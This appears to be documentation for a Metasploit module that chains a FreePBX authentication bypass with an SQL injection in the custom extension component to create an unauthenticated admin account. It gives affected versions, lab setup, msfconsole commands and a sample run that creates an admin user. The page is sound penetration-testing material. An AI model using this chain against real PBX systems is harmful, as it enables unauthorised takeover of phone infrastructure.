Freepbx Custom Extension Injection

Vulnerable Application

FreePBX is an open-source IP PBX management tool that provides a modern phone system for businesses that use VoIP to make and receive phone calls. Versions prior to 16.0.44, 16.0.92 and 17.0.6, 17.0.23 are vulnerable to multiple CVEs, specifically CVE-2025-66039 and CVE-2025-61675, in the context of this module. The versions before 16.0.44 and 17.0.23 are vulnerable to CVE-2025-66039, while versions before 16.0.92 and 17.0.6 are vulnerable to CVE-2025-61675. The former represents an authentication bypass: when FreePBX uses Webserver Authorization Mode (an option the admin can enable), it allows an attacker to authenticate as any user. The latter CVE describes multiple SQL injections; this module exploits the SQL injection in the custom extension component. The module chains these vulnerabilities into an unauthenticated SQL injection attack that creates a new administrative user.

To setup the environment, perform minimal installation from here. Note that Authorization Type needs to be set to webserver:

1. Log into FreePBX Administration
2. Settings -> Advanced Settings
3. Change Authorization Type to webserver

Finally, the FreePBX needs to be activated to access vulnerable APIs:

1. Log into FreePBX Administraton
2. Admin -> System Admin
3. Activate instance

Verification Steps

1. Install FreePBX
2. Start msfconsole
3. Do: use auxiliary/gather/freepbx_custom_extension_injection
4. Do: set RHOSTS [target IP address]
5. Do: set USERNAME [FreePBX user]
6. Do: set NEW_USERNAME [new username]
7. Do: set NEW_PASSWORD [new password]
8. Do: run

Options

NEW_USERNAME

Username for new administrative user.

NEW_PASSWORD

Password for new administrative user.

USERNAME

Performing authentication bypass requires the username of an existing user.

Scenarios

msf auxiliary(gather/freepbx_custom_extension_injection) > set rhosts 192.168.168.223
rhosts => 192.168.168.223
msf auxiliary(gather/freepbx_custom_extension_injection) > set new_username msfuser1
new_username => msfuser1
smsf auxiliary(gather/freepbx_custom_extension_injection) > set new_password msflab
new_password => msflab
msf auxiliary(gather/freepbx_custom_extension_injection) > run verbose=true 
[*] Running module against 192.168.168.223
[*] Trying to create new administrative user
[+] New admin account: msfuser1/msflab
[*] Auxiliary module execution completed